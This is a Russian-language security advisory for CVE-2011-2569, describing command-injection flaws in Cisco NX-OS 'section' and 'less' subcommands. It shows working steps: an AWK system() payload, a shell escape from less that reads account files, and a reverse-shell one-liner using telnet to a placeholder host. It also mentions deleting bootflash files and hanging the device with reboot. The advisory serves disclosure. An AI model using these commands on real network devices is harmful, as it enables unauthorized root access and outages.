Cisco Nexus OS (NX-OS) — проблемы «инъекции» команд / очистки ввода.

Обнаружено:

Peter Adkins [email protected]

Доступ:

Локальный; требуется аутентифицированный доступ.

Отслеживание и идентификаторы:

CVE — CVE-2011-2569

Затронутые ОС:

Cisco Nexus OS (NX-OS)

Взаимодействие с вендором:

Уведомлён — исправления доступны / реализованы для некоторых платформ.

Затронутые системы / платформы:

Nexus 7000
Nexus 5000
Nexus 4000
Nexus 3000
Nexus 2000
Nexus 1000V
MDS
UCS

Примечания:

Требуется локальный доступ. Однако непривилегированные учётные записи могут получить доступ к нижележащей операционной системе Linux, что фактически предоставляет полный доступ к устройству. Это потенциально может привести к проблемам в средах, где персоналу NOC и другим сотрудникам разрешён низкоуровневый доступ для первичного реагирования и т. п.

NX-OS — подкоманда «section» — проблемы инъекции команд / очистки ввода.

Эта проблема была обнаружена на платформе Nexus 7000. Предполагается, что она также затрагивает следующие платформы:

Nexus 7000 ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )
Nexus 5000 ( OS < UNK )
Nexus 4000 ( OS < UNK )
Nexus 3000 ( OS < UNK )
Nexus 2000 ( OS < UNK )
MDS ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )

Команда section, по-видимому, представляет собой AWK-скрипт, которому передаётся запрошенная строка. Однако ввод, судя по всему, не очищается должным образом. В результате с помощью AWK можно выполнять произвольные команды в подсистеме Linux.

nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y

nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011

nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk

nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011

Это можно даже использовать для удаления всех файлов на bootflash и отправки системе команды «reboot». Однако перезагрузка из подсистемы Linux приводит к тому, что устройство выводит сообщения на консоль и зависает, а не перезагружается по-настоящему.

NX-OS — подкоманда «less» — проблемы инъекции команд / очистки ввода.

Предположительно затрагивает следующие версии программного обеспечения:

Nexus 7000 ( OS < 5.1(1) )
Nexus 5000 ( OS < 4.2(1)N2(1) )
Nexus 4000 ( OS < UNK)
Nexus 2000 ( OS < 4.2(1)N2(1) )
UCS ( OS < 1.4(1i) 1.3(1c) )
- На платформе UCS внедрённые команды выполняются от имени root.
Nexus 1000V ( OS < UNK )
MDS ( OS < 5.1(1) )

В качестве примера:

switch# sh clock | less

Когда открывается less, мы можем открывать файлы, нажав двоеточие, а затем «e» и указав путь к файлу.

bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm

Однако это снова лишь доступ только для чтения. НО если использовать макроклавишу «|» (pipe), а затем «$», можно выполнять команды.

!ls -lah > /bootflash/20110715

Как показано ниже, файл был создан на boot-flash.

switch# dir
      97     Jul 15 12:01:44 2011  20110715

Используя этот метод, мне удалось установить удалённую оболочку (remote shell) в подсистему Linux NX-OS с помощью следующего:

 mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs

Даже команда reboot принимается как допустимый ввод. Однако вместо перезагрузки устройства она приводит к зависанию системы с выводом ошибок на консоль.

 switch# sh clock | less
 Fri Jul 15 12:06:30 UTC 2011
 !reboot

 Broadcast message from root (Fri Jul 15 12:06:39 2011):

secpub

Популярное